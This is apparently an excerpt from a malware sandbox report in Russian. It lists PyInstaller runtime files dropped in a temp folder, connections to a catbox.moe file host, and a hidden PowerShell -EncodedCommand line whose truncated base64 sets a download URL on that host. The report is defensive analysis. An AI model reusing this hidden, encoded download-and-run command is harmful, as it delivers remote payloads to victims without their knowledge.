Техническая информация
- %TEMP%\_mei53562\vcruntime140.dll
- %TEMP%\_mei53562\_bz2.pyd
- %TEMP%\_mei53562\_ctypes.pyd
- %TEMP%\_mei53562\_decimal.pyd
- %TEMP%\_mei53562\_hashlib.pyd
- %TEMP%\_mei53562\_lzma.pyd
- %TEMP%\_mei53562\_socket.pyd
- %TEMP%\_mei53562\base_library.zip
- %TEMP%\_mei53562\libcrypto-1_1.dll
- %TEMP%\_mei53562\libffi-7.dll
- %TEMP%\_mei53562\python310.dll
- %TEMP%\_mei53562\select.pyd
- %TEMP%\_mei53562\unicodedata.pyd
- %TEMP%\_mei53562\base_library.zip
- %TEMP%\_mei53562\libcrypto-1_1.dll
- %TEMP%\_mei53562\libffi-7.dll
- %TEMP%\_mei53562\python310.dll
- %TEMP%\_mei53562\select.pyd
- %TEMP%\_mei53562\unicodedata.pyd
- %TEMP%\_mei53562\vcruntime140.dll
- %TEMP%\_mei53562\_bz2.pyd
- %TEMP%\_mei53562\_ctypes.pyd
- %TEMP%\_mei53562\_decimal.pyd
- %TEMP%\_mei53562\_hashlib.pyd
- %TEMP%\_mei53562\_lzma.pyd
- %TEMP%\_mei53562\_socket.pyd
- 'fi###.catbox.moe':443
- 'fi###.catbox.moe':443
- DNS ASK fi###.catbox.moe
- '<SYSTEM32>\cmd.exe' /c "powershell -NoProfile -WindowStyle Hidden -EncodedCommand CgAkAHUAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZgBpAGwAZQBzAC4AYwBhAHQAYgBvAHgALgBtAG8AZQAvAGkAYgB1AHMAegB4AC4AZQBzACIACgAkAHAAIAA9ACAAIgA... (со скрытым окном)